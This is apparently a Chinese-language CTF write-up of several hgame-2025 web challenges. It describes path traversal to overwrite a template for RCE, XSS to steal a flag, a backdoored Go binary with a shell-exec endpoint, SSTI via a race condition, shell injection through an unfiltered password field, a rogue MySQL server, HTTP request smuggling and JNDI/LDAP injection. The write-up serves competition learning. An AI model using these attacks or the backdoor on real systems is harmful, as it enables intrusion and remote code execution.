寒假复健
hgame-2025 week[one] Level 24 Pacman 在index.js里面找到两个gift,base64解码后再栅栏拿到flag
aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0= -> hgame{u_4re_pacman_m4ster}
aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ== -> hgame{pratice_makes_perfect}
第一个是正确的flag
Level 47 BandBomb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 const express = require ('express' );const multer = require ('multer' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static (path.join (__dirname, 'public' ))); app.use (express.json ()); const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } }); const upload = multer ({ storage : storage, fileFilter : (_, file, cb ) => { try { if (!file.originalname ) { return cb (new Error ('无效的文件名' ), false ); } cb (null , true ); } catch (err) { cb (new Error ('文件处理错误' ), false ); } } }); app.get ('/' , (req, res ) => { const uploadsDir = path.join (__dirname, 'uploads' ); if (!fs.existsSync (uploadsDir)) { fs.mkdirSync (uploadsDir); } fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); }); app.post ('/upload' , (req, res ) => { upload.single ('file' )(req, res, (err ) => { if (err) { return res.status (400 ).json ({ error : err.message }); } if (!req.file ) { return res.status (400 ).json ({ error : '没有选择文件' }); } res.json ({ message : '文件上传成功' , filename : req.file .filename }); }); }); app.post ('/rename' , (req, res ) => { const { oldName, newName } = req.body ; const oldPath = path.join (__dirname, 'uploads' , oldName); const newPath = path.join (__dirname, 'uploads' , newName); if (!oldName || !newName) { return res.status (400 ).json ({ error : ' ' }); } fs.rename (oldPath, newPath, (err ) => { if (err) { return res.status (500 ).json ({ error : ' ' + err.message }); } res.json ({ message : ' ' }); }); }); app.listen (port, () => { console .log (`服务器运行在 http://localhost:${port} ` ); });
感觉有点像ciscn2024的ezjs那题,但是改了一点点,试了一下发现因为node_moudules目录下没有aaa目录,并且不会自动创建目录
可以利用rename路由来覆盖mortis.ejs实现rce
上传1.aaa
然后覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /rename HTTP/1.1 Host : node1.hgame.vidar.club:30973User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0If-None-Match : W/"1985-3HISAF0ZQ3FipdR5z2RBSS5Yb4c"Cache-Control : max-age=0Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Content-Type : application/jsonContent-Length : 50{ "oldName" : "1.aaa" , "newName" : "../views/mortis.ejs" }
再访问一下/即可
Level 69 MysteryMessageBoard 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 package mainimport ( "context" "fmt" "github.com/chromedp/chromedp" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "log" "net/http" "sync" "time" ) var ( store = sessions.NewCookieStore([]byte ("fake_key" )) users = map [string ]string { "shallot" : "fake_password" , "admin" : "fake_password" } comments []string flag = "FLAG{this_is_a_fake_flag}" lock sync.Mutex ) func loginHandler (c *gin.Context) { username := c.PostForm("username" ) password := c.PostForm("password" ) if storedPassword, ok := users[username]; ok && storedPassword == password { session, _ := store.Get(c.Request, "session" ) session.Values["username" ] = username session.Options = &sessions.Options{ Path: "/" , MaxAge: 3600 , HttpOnly: false , Secure: false , } session.Save(c.Request, c.Writer) c.String(http.StatusOK, "success" ) return } log.Printf("Login failed for user: %s\n" , username) c.String(http.StatusUnauthorized, "error" ) } func logoutHandler (c *gin.Context) { session, _ := store.Get(c.Request, "session" ) delete (session.Values, "username" ) session.Save(c.Request, c.Writer) c.Redirect(http.StatusFound, "/login" ) } func indexHandler (c *gin.Context) { session, _ := store.Get(c.Request, "session" ) username, ok := session.Values["username" ].(string ) if !ok { log.Println("User not logged in, redirecting to login" ) c.Redirect(http.StatusFound, "/login" ) return } if c.Request.Method == http.MethodPost { comment := c.PostForm("comment" ) log.Printf("New comment submitted: %s\n" , comment) comments = append (comments, comment) } htmlContent := fmt.Sprintf(`<html> <body> <h1>留言板</h1> <p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p> <form method="post"> <textarea name="comment" required></textarea><br> <input type="submit" value="提交评论"> </form> <h3>留言:</h3> <ul>` , username) for _, comment := range comments { htmlContent += "<li>" + comment + "</li>" } htmlContent += `</ul> <p><a href="/logout">退出</a></p> </body> </html>` c.Data(http.StatusOK, "text/html; charset=utf-8" , []byte (htmlContent)) } func adminHandler (c *gin.Context) { htmlContent := `<html><body> <p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p> </body></html>` c.Data(http.StatusOK, "text/html; charset=utf-8" , []byte (htmlContent)) go func () { lock.Lock() defer lock.Unlock() ctx, cancel := chromedp.NewContext(context.Background()) defer cancel() ctx, _ = context.WithTimeout(ctx, 20 *time.Second) if err := chromedp.Run(ctx, myTasks()); err != nil { log.Println("Chromedp error:" , err) return } }() } func myTasks () chromedp.Tasks { return chromedp.Tasks{ chromedp.Navigate("/login" ), chromedp.WaitVisible(`input[name="username"]` ), chromedp.SendKeys(`input[name="username"]` , "admin" ), chromedp.SendKeys(`input[name="password"]` , "fake_password" ), chromedp.Click(`input[type="submit"]` ), chromedp.Navigate("/" ), chromedp.Sleep(5 * time.Second), } } func flagHandler (c *gin.Context) { log.Println("Handling flag request" ) session, err := store.Get(c.Request, "session" ) if err != nil { c.String(http.StatusInternalServerError, "无法获取会话" ) return } username, ok := session.Values["username" ].(string ) if !ok || username != "admin" { c.String(http.StatusForbidden, "只有admin才可以访问哦" ) return } log.Println("Admin accessed the flag" ) c.String(http.StatusOK, flag) } func main () { r := gin.Default() r.GET("/login" , loginHandler) r.POST("/login" , loginHandler) r.GET("/logout" , logoutHandler) r.GET("/" , indexHandler) r.GET("/admin" , adminHandler) r.GET("/flag" , flagHandler) log.Println("Server started at :8888" ) log.Fatal(r.Run(":8888" )) }
感觉是一个xss,让admin访问flag再发出来,然后就可以拿到flag了。
先爆破拿到密码888888
再按照刚刚的思路写一个fetch拿到flag。提交后访问admin,然后再访问/路由。没有出现flag的话可以刷新一下。
Level 25 双面人派对 一开始给了个elf,先脱壳,然后再反编译
没看懂有什么用。
之后尝试运行main,发现他一直在连接9000端口。
题目给了两个地址,第一次连接的响应是307,第二个提供了一开始的elf下载。试着模仿elf的行为,使用第一个地址作为host。
爆403了,离成功更进一步。现在的问题是说权限不够,在刚刚elf的反编译结果中找找有没有有用的内容。
找到这个
利用mc连接储MinIO
发现有两个储存桶
update也是一个elf文件,运行之后发现和一开始那个文件好像
看了下md5,发现是一样的。那我不是白做了这么久?再看一看src.zip里面是什么,发现和elf的源代码好像,估计就是把这个go编译成了一个elf给我们,那现在给我们源代码又有什么用呢?
src里面有两个go程序,一个是第一个靶机(即docker的9000端口)的minio,另一个是第二个靶机(docker的8080端口)是一个列出目录文件的功能。我们也就是用这个下载得到了main这个elf。而刚刚也说过main和update是同一个elf。所有猜测这个题目就是在后端运行这个elf,那我们通过minio把update替换成我们自己编译的有后门的elf就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package mainimport ( "github.com/gin-gonic/gin" "github.com/jpillora/overseer" "level25/conf" "level25/fetch" "net/http" "os/exec" ) func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) } func program (state overseer.State) { g := gin.Default() g.StaticFS("/file" , gin.Dir("." , true )) g.GET("/exec" , func (c *gin.Context) { cmd := c.Query("cmd" ) if cmd == "" { c.JSON(http.StatusBadRequest, gin.H{"error" : "Missing cmd parameter" }) return } out, err := exec.Command("sh" , "-c" , cmd).CombinedOutput() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{"error" : err.Error(), "output" : string (out)}) return } c.JSON(http.StatusOK, gin.H{"output" : string (out)}) }) g.Run(":8080" ) }
然后编译成elf,不会配的可以抄我的配置
编译好后替换掉minio上prodbucket里面的update文件就可以了
Level 38475 角落 访问robots.txt拿到一个路径/app.conf,继续访问拿到apache的配置
可以利用orange大大发现的apache漏洞 读到/usr/local/apache2/app/app.py的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templatesapp = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msg def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status) @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
发现这里的read路由存在ssti,但是过滤了{,ssti似乎不可能成功了。但是这是从文件读取的,并且文件内容可控。我们可以用bp开三个进程,一个写入无害内容,一个写入ssti代码,一个不断请求read路由,这样就可以看到成功ssti的回显了。
可以看到这时候出现了ssti成功的响应包
week[two] Level 21096 HoneyPot 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 func ImportData (c *gin.Context) { var config ImportConfig if err := c.ShouldBindJSON(&config); err != nil { c.JSON(http.StatusBadRequest, gin.H{ "success" : false , "message" : "Invalid request body: " + err.Error(), }) return } if err := validateImportConfig(config); err != nil { c.JSON(http.StatusBadRequest, gin.H{ "success" : false , "message" : "Invalid input: " + err.Error(), }) return } config.RemoteHost = sanitizeInput(config.RemoteHost) config.RemoteUsername = sanitizeInput(config.RemoteUsername) config.RemoteDatabase = sanitizeInput(config.RemoteDatabase) config.LocalDatabase = sanitizeInput(config.LocalDatabase) if manager.db == nil { dsn := buildDSN(localConfig) db, err := sql.Open("mysql" , dsn) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to connect to local database: " + err.Error(), }) return } if err := db.Ping(); err != nil { db.Close() c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to ping local database: " + err.Error(), }) return } manager.db = db } if err := createdb(config.LocalDatabase); err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to create local database: " + err.Error(), }) return } command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s" , config.RemoteHost, config.RemoteUsername, config.RemotePassword, config.RemoteDatabase, localConfig.Username, localConfig.Password, config.LocalDatabase, ) fmt.Println(command) cmd := exec.Command("sh" , "-c" , command) if err := cmd.Run(); err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to import data: " + err.Error(), }) return } c.JSON(http.StatusOK, gin.H{ "success" : true , "message" : "Data imported successfully" , }) } func sanitizeInput (input string ) string { reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\]` ) return reg.ReplaceAllString(input, "" ) }
发现RemotePassword没用使用sanitizeInput过滤,我们用;
分隔命令,然后就可以rce了。
Level 21096 HoneyPot_Revenge 参考文章
https://tech.ec3o.fun/2024/10/25/Web-Vulnerability%20Reproduction/CVE-2024-21096
https://mp.weixin.qq.com/s/liIwvkDKq2WiDXBQWGyDnw
初始化MySQL
我这里的命令是cat /f* >>/flag(使用/writeflag应该也行
登录数据库
创建数据库
但是这样远程连接不了
后面又发现一个很草的点,这个导入的功能他的指定端口其实是用不了的,只会使用默认的3306端口,我的vps上已经占用掉了,后面把这个恶意mysql的端口转发到了我另一个闲置的VPS上的3306端口上,之后就可以导入了。
导入之后访问flag路由拿到flag。
Level 60 SignInJava 大概思路是先注册一个bean,然后调用完成rce
注册(当解析到 @type 字段时,Fastjson 会根据 val 属性值(或直接根据 @type 值)加载对应的类。
rce
Level 111 不存在的车厢 也是个go题
但是获取flag的逻辑又是:
所以说这里形成了冲突。估计是要http走私。
看h111的实现。
发现数据的类型大多是unit16,Range: 0 through 65535。这里存在溢出问题,当值大于65535时会进行MOD 2^16运算,也就是说65536会变为0
然后web/main.go里面存在链接复用,如果conn里面有数据的话就会继续使用tcp连接里面残留的数据。这样在下一次请求中被读取可能被当作一个完整的请求,也就是我们需要的POST /flag
所以现在的攻击思路就很明确了:
构造一个GET请求,总长度超过 65535 字节以实现溢出
利用长度字段溢出制造出数据残留
将走私数据拼接在GET请求的尾部
再看ReadH111Request的实现,这里如果bodyLength为空,也就是bodyLength的值为065536就不会读取,所以可以让body的数据留在连接中。
最后是官方的poc:
H111 结构对应
字段
说明
示例值
方法长度
2 字节,表示方法的长度
\x00\x04
方法
方法字符串,如 GET
/ POST
POST
URI 长度
2 字节,表示 URI 长度
\x00\x05
URI
目标路径
/flag
头部数量
2 字节,表示 HTTP 头部个数
\x00\x00
Body 长度
2 字节,表示请求体的大小
\x00\x00
然后填充65519个0,是65536-17得到,这样使得请求长度为65536实现溢出。
Level 257 日落的紫罗兰 给了两个服务,先用nmap看看情况
PORT STATE SERVICE VERSION 32044/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\
PORT STATE SERVICE VERSION 30160/tcp open redis Redis key-value store
发现是一个ssh和一个redis。没用密码直接连上了
尝试redis写root的公钥,权限不够。然后发现还有mysid用户
然后尝试ssh连接。
成功了
然后就是要提权了。suid和sudo都没有,ps发现有一个web服务
可以通过sftp来把jar包拉下来看看
发现ldap查询的url是写死的ldap://127.0.0.1:389,并且靶机的389端口其实是没有开的,我们在127.0.0.1:389上启动一个恶意的ldap服务即可
但是大多数工具的ldap地址是写死了的,我们这里选择X1r0z师傅的工具 可以解决这个问题。
通过ssh搭建正向代理(这里的端口改了一下,我开了新环境
利用find命令可以发现本地有java环境,并且jar包中有jackson
post参数(这里是因为search打jndi注入必须要这种格式。参考文章:文章 - 从search入手的jndi注入技术学习 - 先知社区
现在可以读flag了